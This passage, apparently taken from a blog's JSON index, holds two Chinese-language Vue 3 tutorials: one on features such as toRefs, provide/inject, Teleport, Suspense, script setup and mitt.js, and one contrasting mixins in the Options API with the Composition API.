console.log(\u0026#39;--onUnmounted\u0026#39;) }) } toRefs 作用：把一個響應式物件轉換成普通物件，該普通物件的每個屬性都是一個 ref。 應用：我們使用 reactive 建立的物件，如果想在模板中使用，就必須得使用 xxx.xxx 的形式，如果大量用到的話還是很麻煩的，但是使用 es6 解構以後，會失去響應式，那麼 toRefs 的作用就體現在這，利用 toRefs 可以將一個響應式 reactive 物件的所有原始屬性轉換為響應式的 ref 屬性。當然小夥伴們可以自行開發更多應用場景。 程式碼演示： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; name:{{name}} \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script lang=\u0026#39;ts\u0026#39;\u0026gt; import { defineComponent, reactive, toRefs } from \u0026#39;vue\u0026#39;; export default defineComponent({ name: \u0026#39;\u0026#39;, setup() { const state = reactive({ name: \u0026#39;hzw\u0026#39;, }); const state2 = toRefs(state); setInterval(() =\u0026gt; { state.name += \u0026#39;===\u0026#39;; }, 1000); return { // 通過 toRefs 返回的物件，解構出來的屬性也是響應式的 ...state2, }; }, }); \u0026lt;/script\u0026gt; provide 與 inject 作用：實現跨層級元件(祖孫)間通訊。 程式碼演示： parent.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 \u0026lt;template\u0026gt; \u0026lt;h1\u0026gt;父元件\u0026lt;/h1\u0026gt; \u0026lt;p\u0026gt;當前顏色: {{color}}\u0026lt;/p\u0026gt; \u0026lt;button @click=\u0026#34;color=\u0026#39;red\u0026#39;\u0026#34;\u0026gt;紅\u0026lt;/button\u0026gt; \u0026lt;button @click=\u0026#34;color=\u0026#39;yellow\u0026#39;\u0026#34;\u0026gt;黃\u0026lt;/button\u0026gt; \u0026lt;button @click=\u0026#34;color=\u0026#39;blue\u0026#39;\u0026#34;\u0026gt;藍\u0026lt;/button\u0026gt; \u0026lt;hr\u0026gt; \u0026lt;Son /\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script lang=\u0026#34;ts\u0026#34;\u0026gt; import { provide, ref } from \u0026#39;vue\u0026#39; import Son from \u0026#39;./son.vue\u0026#39; export default { name: \u0026#39;ProvideInject\u0026#39;, components: { Son }, setup() { const color = ref(\u0026#39;red\u0026#39;) provide(\u0026#39;color\u0026#39;, color) return { color } } } \u0026lt;/script\u0026gt; son.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;h2\u0026gt;子元件\u0026lt;/h2\u0026gt; \u0026lt;hr\u0026gt; \u0026lt;GrandSon /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script lang=\u0026#34;ts\u0026#34;\u0026gt; import GrandSon from \u0026#39;./grandson.vue\u0026#39; export default { components: { GrandSon }, } \u0026lt;/script\u0026gt; grandson.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 \u0026lt;template\u0026gt; \u0026lt;h3 :style=\u0026#34;{color}\u0026#34;\u0026gt;孫子元件: {{color}}\u0026lt;/h3\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script lang=\u0026#34;ts\u0026#34;\u0026gt; import { inject } from \u0026#39;vue\u0026#39; export default { setup() { const color = inject(\u0026#39;color\u0026#39;) return { color } } } \u0026lt;/script\u0026gt; 其他特性 Teleport(瞬移) 作用：Teleport 提供了一種乾淨的方法，讓元件的 html 在父元件介面外的特定標籤(很可能是 body )下插入顯示，換句話說就是可以把子元件或者dom節點插入到任何你想插入到的地方去。 語法：使用 to 屬性，引號內使用選擇器。 1 \u0026lt;teleport to=\u0026#34;body\u0026#34;\u0026gt;\u0026lt;/teleport\u0026gt; 程式碼演示： parent.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;father\u0026#34;\u0026gt; \u0026lt;h2\u0026gt;App\u0026lt;/h2\u0026gt; \u0026lt;modal-button\u0026gt;\u0026lt;/modal-button\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script lang=\u0026#34;ts\u0026#34;\u0026gt; import ModalButton from \u0026#39;./components/ModalButton.vue\u0026#39; export default { setup() { return {} }, components: { ModalButton, }, } \u0026lt;/script\u0026gt; children.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;son\u0026#34;\u0026gt; \u0026lt;button @click=\u0026#34;modalOpen = true\u0026#34;\u0026gt; 點我開啟對話方塊 \u0026lt;/button\u0026gt; \u0026lt;teleport to=\u0026#34;body\u0026#34;\u0026gt; \u0026lt;div v-if=\u0026#34;modalOpen\u0026#34; class=\u0026#34;looklook\u0026#34;\u0026gt; 看看我出現在了哪裡 \u0026lt;button @click=\u0026#34;modalOpen = false\u0026#34;\u0026gt; Close \u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/teleport\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; import { ref } from \u0026#39;vue\u0026#39; export default { name: \u0026#39;modal-button\u0026#39;, setup() { const modalOpen = ref(false) return { modalOpen, } }, } \u0026lt;/script\u0026gt; 可以看到在子元件中的 looklook 元素跑到了 body 下面，而之前的位置默認出現了兩行註釋。\nSuspense(不確定的) 作用：它們允許我們的應用程式在等待非同步元件時渲染一些後備內容，可以讓我們建立一個平滑的使用者體驗。 語法： 1 2 3 4 5 6 7 8 9 10 11 \u0026lt;Suspense\u0026gt; \u0026lt;template v-slot:default\u0026gt; \u0026lt;!-- 非同步元件 --\u0026gt; \u0026lt;AsyncComp /\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;template v-slot:fallback\u0026gt; \u0026lt;!-- 後備內容 --\u0026gt; \u0026lt;h1\u0026gt;LOADING...\u0026lt;/h1\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;/Suspense\u0026gt; vue3 中引入非同步元件的方式：\n1 const AsyncComp = defineAsyncComponent(() =\u0026gt; import(\u0026#39;./AsyncComp.vue\u0026#39;)) 程式碼演示： parent.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 \u0026lt;template\u0026gt; \u0026lt;Suspense\u0026gt; \u0026lt;!-- v-slot:defaul 可以簡寫成 #defaul --\u0026gt; \u0026lt;template v-slot:default\u0026gt; \u0026lt;AsyncComp/\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;!-- v-slot:defaul 可以簡寫成 #fallback --\u0026gt; \u0026lt;template v-slot:fallback\u0026gt; \u0026lt;h1\u0026gt;LOADING...\u0026lt;/h1\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;/Suspense\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script lang=\u0026#34;ts\u0026#34;\u0026gt; import { defineAsyncComponent } from \u0026#39;vue\u0026#39; const AsyncComp = defineAsyncComponent(() =\u0026gt; import(\u0026#39;./AsyncComp.vue\u0026#39;)) export default { setup() { return { } }, components: { AsyncComp, } } \u0026lt;/script\u0026gt; children.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 \u0026lt;template\u0026gt; \u0026lt;h2\u0026gt;AsyncComp22\u0026lt;/h2\u0026gt; \u0026lt;p\u0026gt;{{msg}}\u0026lt;/p\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script lang=\u0026#34;ts\u0026#34;\u0026gt; export default { name: \u0026#39;AsyncComp\u0026#39;, setup () { return new Promise((resolve, reject) =\u0026gt; { setTimeout(() =\u0026gt; { resolve({ msg: \u0026#39;abc\u0026#39; }) }, 2000) }) } } \u0026lt;/script\u0026gt; 通過下圖可以看到在非同步元件加載出來之前，顯示的是 fallback 中的內容：\n響應式資料的判斷 作用 isRef：檢查一個值是否為一個 ref 物件 isReactive：檢查一個物件是否是由 reactive 建立的響應式代理 isReadonly：檢查一個物件是否是由 readonly 建立的只讀代理 isProxy：檢查一個物件是否是由 reactive 或者 readonly 方法建立的代理 程式碼演示 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 setup() { const state1 = ref(1); console.log(\u0026#39;isref:\u0026#39;, isRef(state1)); // isref: true const state2 = reactive({}); console.log(\u0026#39;isReactive:\u0026#39;, isReactive(state2)); // isReactive: true const state3 = readonly({}); console.log(\u0026#39;isReadonly:\u0026#39;, isReadonly(state3)); // isReadonly: true const state4 = reactive({}); console.log(\u0026#39;isProxy:\u0026#39;, isProxy(state2)); // isProxy: true console.log(\u0026#39;isProxy:\u0026#39;, isProxy(state4)); // isProxy: true return {}; }, 其他不常用特性 還有很多很多不常用的新特性，我在日常開發中是沒有用到的，很多都是用來做優化的，感興趣的小夥伴們自行去官網檢視，或者大佬們可以介紹一下應用場景。\nshallowReactive shallowRef readonly shallowReadonly markRaw customRef \u0026hellip; 語法糖 雖然 Composition API 用起來已經非常方便了，但是我們還是有很煩的地方，比如：\n元件引入了還要註冊。 屬性和方法都要在 setup 函式中返回，有的時候僅一個 return 就十幾行甚至幾十行。 \u0026hellip; 不想寫啊怎麼辦\n好辦， Vue3 官方提供了 script setup 語法糖，只需要在 script 標籤中==新增 setup==，元件只需引入不用註冊，屬性和方法也不用返回，setup 函式也不需要，甚至 export default 都不用寫了，不僅是資料、計算屬性和方法，甚至是自定義指令也可以在我們的 template 中自動獲得。\n但是這麼過癮的語法糖，還是稍微添加了一點點心智負擔，因為沒有了 setup 函式，那麼 props、emit、attrs 怎麼獲取呢，就要介紹一下新的語法了。\nsetup script 語法糖提供了三個新的 API 來供我們使用： ==defineProps==、==defineEmit== 和 ==useContext==。\ndefineProps：用來接收父元件傳來的值 props。 defineEmit：用來宣告觸發的事件表。 useContext：用來獲取元件上下文 context。 程式碼演示 parent.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;h2\u0026gt;我是父元件！\u0026lt;/h2\u0026gt; \u0026lt;Children msg=\u0026#34;hello\u0026#34; @child-click=\u0026#34;handleClick\u0026#34; /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; import Children from \u0026#39;./components/children.vue\u0026#39; const handleClick = (ctx) =\u0026gt; { console.log(ctx) } \u0026lt;/script\u0026gt; children.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 \u0026lt;template\u0026gt; \u0026lt;span @click=\u0026#34;sonClick\u0026#34;\u0026gt;msg: {{ props.msg }}\u0026lt;/span\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; import { useContext, defineProps, defineEmit } from \u0026#39;vue\u0026#39; const emit = defineEmit([\u0026#39;child-click\u0026#39;]) const ctx = useContext() const props = defineProps({ msg: String, }) const sonClick = () =\u0026gt; { emit(\u0026#39;child-click\u0026#39;, ctx) } \u0026lt;/script\u0026gt; 我們點選一下子元件：\n可以看到 context 被列印了出來，其中的 attrs、emit、slots、expose 屬性和方法依然可以使用。props 也可以輸出在頁面上，事件也成功派發。\n其他知識點 接下來介紹一下我使用 Vue3 過程中遇到的問題或者小技巧，不全面，想起什麼就寫什麼吧。\nscript setup 語法糖的坑\n這個很多大佬已經在 Vue3 的 github 上提交 Issues 了，或許會在不久的將來修復，但現在還是要注意一下。\n如果在父元件中通過 ref='xxx' 的方法來獲取子元件實例，那麼子元件不可以使用 script setup 語法糖，否則會報錯。\n程式碼演示 parent.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;h2\u0026gt;我是父元件！\u0026lt;/h2\u0026gt; \u0026lt;Child ref=\u0026#39;son\u0026#39; /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; import Child from \u0026#39;./components/children.vue\u0026#39; import { ref } from \u0026#39;vue\u0026#39; const son = ref(null) console.log(\u0026#39; ~ son:\u0026#39;, son) \u0026lt;/script\u0026gt; 子元件先不使用語法糖：\nchildren.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; 我是子元件{{msg}} \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script \u0026gt; import { ref } from \u0026#39;vue\u0026#39; export default { setup() { const msg = ref(\u0026#39;hello\u0026#39;) return { msg, } }, } 現在把子元件換成 script setup 語法糖再來試一試：\nchildren.vue 1 2 3 4 5 6 7 8 9 10 11 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; 我是子元件{{msg}} \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; import { ref } from \u0026#39;vue\u0026#39; const msg = ref(\u0026#39;hello\u0026#39;) \u0026lt;/script\u0026gt; 可以看到現在是獲取不到子元件定義的 msg 屬性的。\nEmit 派發事件可以對引數進行驗證 parent.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;h2\u0026gt;我是父元件！\u0026lt;/h2\u0026gt; \u0026lt;Child @sonClick=\u0026#39;sonClick\u0026#39; /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; import Child from \u0026#39;./components/Child.vue\u0026#39; import { ref } from \u0026#39;vue\u0026#39; const sonClick = (value) =\u0026gt; { console.log(value) } \u0026lt;/script\u0026gt; children.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; 我是子元件{{ msg }} \u0026lt;/div\u0026gt; \u0026lt;button @click=\u0026#34;handleClick(1)\u0026#34;\u0026gt;我是按鈕1\u0026lt;/button\u0026gt; \u0026lt;button @click=\u0026#34;handleClick(2)\u0026#34;\u0026gt;我是按鈕2\u0026lt;/button\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; import { ref } from \u0026#39;vue\u0026#39; export default { name: \u0026#39;\u0026#39;, emits: { sonClick: (value) =\u0026gt; { if (value === 1) { return true } else { return false } }, }, setup(props, { emit }) { const msg = ref(\u0026#39;hello\u0026#39;) const handleClick = (value) =\u0026gt; { emit(\u0026#39;sonClick\u0026#39;, value) } return { msg, handleClick, } }, } \u0026lt;/script\u0026gt; 我們分別點一下按鈕1和按鈕2，可以看到當我們點了按鈕2的時候，控制檯會發出警告，但是程式會繼續執行，還沒想到什麼適合的應用場景，但是要知道這個知識點，小夥伴們可以在這搞事情。\n跨元件通訊 mitt.js Vue2 中怎麼實現跨元件通訊呢？很多人第一想法就是 event bus。但是 Vue3 移除了 $on、$once、$off 導致不能使用這個方法。但是 Vue 官方給大家推薦了 ==mitt.js==，它的原理就是 event bus。\nmitt.js 教學\n程式碼演示 先安裝： 1 npm i mitt -s 然後封裝成一個 hook： mitt.js 1 2 3 4 import mitt from \u0026#39;mitt\u0026#39; const emitter = mitt(); export default emitter; 使用： parent.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;h2\u0026gt;我是父元件！\u0026lt;/h2\u0026gt; \u0026lt;Child1 /\u0026gt; \u0026lt;Child2 /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; import Child1 from \u0026#39;./components/children1.vue\u0026#39; import Child2 from \u0026#39;./components/children2.vue\u0026#39; \u0026lt;/script\u0026gt; children1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; 我是子元件1 \u0026lt;h1\u0026gt;{{msg}}\u0026lt;/h1\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; import { ref, onUnmounted } from \u0026#39;vue\u0026#39; import emitter from \u0026#39;../mitt\u0026#39; export default { name: \u0026#39;\u0026#39;, setup() { // 初始化 const msg = ref(\u0026#39;hello\u0026#39;) const changeMsg = () =\u0026gt; { msg.value = \u0026#39;world\u0026#39; } // 監聽事件，更新資料 emitter.on(\u0026#39;change-msg\u0026#39;, changeMsg) // 顯式解除安裝 onUnmounted(() =\u0026gt; { emitter.off(\u0026#39;change-msg\u0026#39;, changeMsg) }) return { msg, changeMsg, } }, } \u0026lt;/script\u0026gt; children2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; 我是子元件2 \u0026lt;/div\u0026gt; \u0026lt;button @click=\u0026#39;changeMsg\u0026#39;\u0026gt;點選修改msg\u0026lt;/button\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; import { ref } from \u0026#39;vue\u0026#39; import emitter from \u0026#39;../mitt\u0026#39; export default { name: \u0026#39;\u0026#39;, setup() { const changeMsg = () =\u0026gt; { emitter.emit(\u0026#39;change-msg\u0026#39;) } return { changeMsg, } }, } \u0026lt;/script\u0026gt; 演示 自定義指令 先看看 Vue2 自定義指令的鉤子：\nbind：當指令繫結在對應元素時觸發，只會觸發一次。 inserted：當對應元素被插入到 DOM 的父元素時觸發。 update：當元素更新時，這個鉤子會被觸發（此時元素的後代元素還沒有觸發更新）。 componentUpdated：當整個元件（包括子元件）完成更新後，這個鉤子觸發。 unbind：當指令被從元素上移除時，這個鉤子會被觸發，也只觸發一次。 在 Vue3 中，官方為了更有助於程式碼的可讀性和風格統一，把自定義指令的鉤子名稱改的更像是元件生命週期，儘管他們是兩回事：\nbind =\u0026gt; beforeMount。 inserted =\u0026gt; mounted。 beforeUpdate：新的鉤子，會在元素自身更新前觸發。 update =\u0026gt; 移除！ componentUpdated =\u0026gt; updated。 beforeUnmount：新的鉤子，當元素自身被解除安裝前觸發。 unbind =\u0026gt; unmounted。 過渡動畫 這個沒有什麼大的改動，只是修改了兩個 class 名字，正是因為沒有什麼大的改動，導致我曾經在這裡栽了大跟頭，寫完了怎麼都不對，後來查官網才知道。\n以下是直接引用官網的原文：\nv-enter-from：定義進入過渡的開始狀態。在元素被插入之前生效，在元素被插入之後的下一幀移除。 v-enter-active：定義進入過渡生效時的狀態。在整個進入過渡的階段中應用，在元素被插入之前生效，在過渡/動畫完成之後移除。這個類可以被用來定義進入過渡的過程時間，延遲和曲線函式。 v-enter-to：定義進入過渡的結束狀態。在元素被插入之後下一幀生效 (與此同時 v-enter-from 被移除)，在過渡/動畫完成之後移除。 v-leave-from：定義離開過渡的開始狀態。在離開過渡被觸發時立刻生效，下一幀被移除。 v-leave-active：定義離開過渡生效時的狀態。在整個離開過渡的階段中應用，在離開過渡被觸發時立刻生效，在過渡/動畫完成之後移除。這個類可以被用來定義離開過渡的過程時間，延遲和曲線函式。 v-leave-to：離開過渡的結束狀態。在離開過渡被觸發之後下一幀生效 (與此同時 v-leave-from 被刪除)，在過渡/動畫完成之後移除。 特別注意的是：\nv-enter 改成了 v-enter-form\nv-leave 改成了 v-leave-from\n其他小知識 Vue3 移除了 filter。 獲取元件實例的方法 getCurrentInstance()：\n這個方法可以獲取到當前元件的實例，相當於 Vue2 中的 this，但是它只在==開發環境==起效果，打包以後會報錯，所以大家不要依賴 getCurrentInstance 方法去獲取元件實例來完成一些主要功能。\n更詳細的可以檢視下面這篇文章：\n關於Vue3獲取當前元件例項的 getCurrentInstance 方法的補充 最後，畢竟是個人總結，難免會出現紕漏和錯誤，期待各路大神的補充和糾正。\n參考 參考網站 Vue3官方中文文件 Vue3.0光速上手 Volar - vue終極開發神器！ Vue3.0 新特性以及使用經驗總結 尚矽谷2021最新Vue.JS教程快速入門到專案實戰（Vue3/VueJS技術詳解） 那個忙了一夜的Vue3動畫很好，就是太短了 ","date":"2022-08-11T00:00:00Z","image":"https://live.staticflickr.com/65535/52277578302_d4a3e0c4aa_o.png","permalink":"https://blog.wayne-project.com/2022-08-11/vue3-quick-start/","title":"Vue3.0 快速入門，看完基本可以上手搞開發"},{"content":" 參考網站\n參考網站\n回顧 Option API 在了解 Composition Api 之前，首先回顧下我們使用 Option Api 遇到的問題，我們在 Vue2 中常常會需要在特定的區域（data、methods、watch、computed\u0026hellip;）編寫負責相同功能的代碼。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 \u0026lt;template\u0026gt; \u0026lt;div id=\u0026#34;app\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; v-model=\u0026#34;val\u0026#34; @keyup.enter=\u0026#34;addTodo\u0026#34;\u0026gt; \u0026lt;ul\u0026gt; \u0026lt;li v-for=\u0026#34;todo in todos\u0026#34; :key=\u0026#34;todo.id\u0026#34;\u0026gt;{{todo.title}}\u0026lt;/li\u0026gt; \u0026lt;/ul\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; export default { data(){ return{ val:\u0026#39;\u0026#39;, todos:[ {id:0, title:\u0026#39;吃饭\u0026#39;, done:false}, {id:1, title:\u0026#39;睡觉\u0026#39;, done:false}, {id:2, title:\u0026#39;lsp\u0026#39;, done:false}, ] } }, methods:{ addTodo(){ this.todos.push({ id:this.todos.length, title:this.val, done:false }) this.val = \u0026#39;\u0026#39; } } } \u0026lt;/script\u0026gt; Option Api 的缺陷 反覆橫跳 隨著業務複雜度越來越高，代碼量會不斷的加大；由於相關業務的代碼需要遵循 option 的配置寫到特定的區域，導致後續維護非常的複雜，代碼可複用性也不高。\n相信大部分同學都維護過超過200行的 .vue 組件，新增或者修改一個需求，就需要分別在 data、methods、computed 裡修改，滾動條反复上下移動，我稱之為『反复橫跳』，比如我們簡單的加個拍腦門的需求加個累加器，這種寫代碼上下反复橫條的感覺，相信大家都懂的： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 \u0026lt;template\u0026gt; \u0026lt;div id=\u0026#34;app\u0026#34;\u0026gt; \u0026lt;h1 @click=\u0026#34;add\u0026#34;\u0026gt;LSP {{count}}号 double is{{double}}\u0026lt;/h1\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; v-model=\u0026#34;val\u0026#34; @keyup.enter=\u0026#34;addTodo\u0026#34;\u0026gt; \u0026lt;ul\u0026gt; \u0026lt;li v-for=\u0026#34;todo in todos\u0026#34; :key=\u0026#34;todo.id\u0026#34;\u0026gt;{{todo.title}}\u0026lt;/li\u0026gt; \u0026lt;/ul\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; import Counter from \u0026#39;./counter\u0026#39; export default { mixins:[Counter], data(){ return{ count:1, val:\u0026#39;\u0026#39;, todos:[ {id:0, title:\u0026#39;吃饭\u0026#39;, done:false}, {id:1, title:\u0026#39;睡觉\u0026#39;, done:false}, {id:2, title:\u0026#39;lsp\u0026#39;, done:false}, ] } }, computed: { double() { return this.count * 2 } }, methods:{ addTodo(){ this.todos.push({ id:this.todos.length, title:this.val, done:false }) this.val = \u0026#39;\u0026#39; }, add(){ this.count++ } } } \u0026lt;/script\u0026gt; mixin 和 this 反覆橫跳的本質，在於功能的分塊組織，以及代碼量太大了，如果我們能把代碼控制在一屏，自然就解決了，vue2 裡的解決方案，是使用 mixin 來混合, 我們抽離一個 counter.js： counter.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 export default { data() { return { count:1 } }, computed: { double() { return this.count * 2 } }, methods:{ add(){ this.count++ } } } App.vue 1 2 3 4 5 6 7 8 import Counter from \u0026#39;./counter\u0026#39; export default { mixins:[Counter], data(){ ... }, ... } 這樣確實拆分了代碼，但是有一個很嚴重的問題，就是不打開 counter.js，App.vue 裡的 this 上，count、add這些屬性，是完全不知道從哪來的，你不知道是 mixin，還是全局 install，還是 Vue.prototype.count 設置的，數據來源完全模糊，調試爽死你，這也是 option 的一個大問題，this 是個黑盒，template 裡寫的 count 和 double，完全不知道從哪來的。\n如果有兩個 mixin，就更有意思了，比如我們又有一個需求，實時顯示鼠標的坐標位置 x，並且有一個乘以 2 的計算屬性湊巧也叫 double，再整一個 mixin：\nuseMouse.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 export default { data() { return { x:0 } }, methods:{ update(e){ this.x = e.pageX } }, computed:{ double(){ return this.x*2 } }, mounted(){ window.addEventListener(\u0026#39;mousemove\u0026#39;, this.update) }, destroyed(){ window.removeEventListener(\u0026#39;mousemove\u0026#39;, this.update) } } 這是一個獨立維護的 mixin，可能在 N 個地方用到，他根本不知道會不會有人和他衝突，然後用一下：\nApp.vue 1 2 3 4 5 6 import Counter from \u0026#39;./counter\u0026#39; import Mouse from \u0026#39;./mouse\u0026#39; export default { mixins:[Counter,Mouse], ...... } 兩個 mixin 裡都有 double 這個數，尷尬，看效果，lsp 的 count 被覆蓋了很尷尬，而且在 App.vue 這裡，你完全不知道這個 double 到底是哪個，調試很痛苦。\nComposition Api composition 就是為了解決這個問題存在的，通過組合的方式，把零散在各個 data、methods 的代碼重新組合，一個功能的代碼都放在一起維護，並且這些代碼可以單獨拆分成函數，顯然我們可以更加優雅的組織我們的代碼，函數。讓相關功能的代碼更加有序的組織在一起。\n我們用vue3演示一下功能，具體api就不解釋了直接vue3文檔搞起就可以：\nApp.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 \u0026lt;template\u0026gt; \u0026lt;div id=\u0026#34;app\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; v-model=\u0026#34;val\u0026#34; @keyup.enter=\u0026#34;addTodo\u0026#34;\u0026gt; \u0026lt;ul\u0026gt; \u0026lt;li v-for=\u0026#34;todo in todos\u0026#34; :key=\u0026#34;todo.id\u0026#34;\u0026gt;{{todo.title}}\u0026lt;/li\u0026gt; \u0026lt;/ul\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; import { reactive, ref, toRefs } from \u0026#39;vue\u0026#39; export default { setup(){ let val = ref(\u0026#39;\u0026#39;) let todos = reactive([ { id:0, title:\u0026#39;吃饭\u0026#39;, done:false }, { id:1, title:\u0026#39;睡觉\u0026#39;, done:false }, { id:2, title:\u0026#39;lsp\u0026#39;, done:false }, ]) function addTodo(){ todos.push({ id: todos.length, title: val.value, done: false }) val.value = \u0026#39;\u0026#39; } return {val, todos, addTodo} } } \u0026lt;/script\u0026gt; 利用函數我們可以把功能完整獨立的拆分成模塊或者函數，方便組織代碼，並且解決了 mixin 混亂的問題。\n比如我們的累加器，抽離一個counter.js：\ncounter.js 1 2 3 4 5 6 7 8 9 10 import { ref, computed } from \u0026#39;vue\u0026#39; export default function useCounter(){ let count = ref(1) function add(){ count.value++ } let double = computed(()=\u0026gt;count.value*2) return { count, double, add } } 直接使用：\n1 2 3 4 5 6 7 8 9 10 11 12 13 import { reactive, ref, toRefs } from \u0026#39;vue\u0026#39; + import useCounter from \u0026#39;./counter\u0026#39; export default { setup(){ let val = ref(\u0026#39;\u0026#39;) ... + let { count,double,add } = useCounter() return { val, todos, addTodo, + count, double, add } } } 再來一個鼠標位置也不在話下，而且可以很好地利用解構賦值的別名，解決 mixin 的命名衝突問題：\nuseMouse.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import { ref, onMounted, onUnmounted, computed } from \u0026#39;vue\u0026#39; export default function useMouse(){ let x = ref(0) function update(e){ x.value = e.pageX } let double = computed(()=\u0026gt;x.value*2) onMounted(()=\u0026gt;{ window.addEventListener(\u0026#39;mousemove\u0026#39;, update) }) onUnmounted(()=\u0026gt;{ window.removeEventListener(\u0026#39;mousemove\u0026#39;, update) }) return { x, double } } 模板裡直接用 doubelX：\n1 2 3 4 5 6 7 let { count, double, add } = useCounter() let { x, double:doubleX } = useMouse() return { val, todos, addTodo, count, double, add, x, doubleX } script setup 不過有的同學可能，還有一個小小的吐槽，那就是 setup 函數最後的 return 也是集中的，如果行數太多，一樣會橫條一下下。\n這個好解決，因為本身我們可以把 todos 也抽離成函數，這樣 setup 就全部是數據的來源，非常精簡絲滑：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import useCounter from \u0026#39;./counter\u0026#39; import useMouse from \u0026#39;./mouse\u0026#39; import useTodo from \u0026#39;./todos\u0026#39; export default { setup(){ let { val, todos, addTodo } = useTodo() let { count, double, add } = useCounter() let { x, double:doubleX } = useMouse() return { val, todos, addTodo, count, double, add, x, doubleX } } } 是不是賊爽呢，如果有些同學就是不想啥都抽離，還是覺得統一 return 很麻煩， 我們可以使用 vue3 的 setup script 功能，把 setup 這個配置也優化掉一個功能 export 一次：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 \u0026lt;script setup\u0026gt; import useCounter from \u0026#39;./counter\u0026#39; import useMouse from \u0026#39;./mouse\u0026#39; import useTodo from \u0026#39;./todos\u0026#39; let { val, todos, addTodo } = useTodo() export { val, todos, addTodo } let { count, double, add } = useCounter() export { count, double, add } let { x, double:doubleX } = useMouse() export { x, doubleX } \u0026lt;/script\u0026gt; 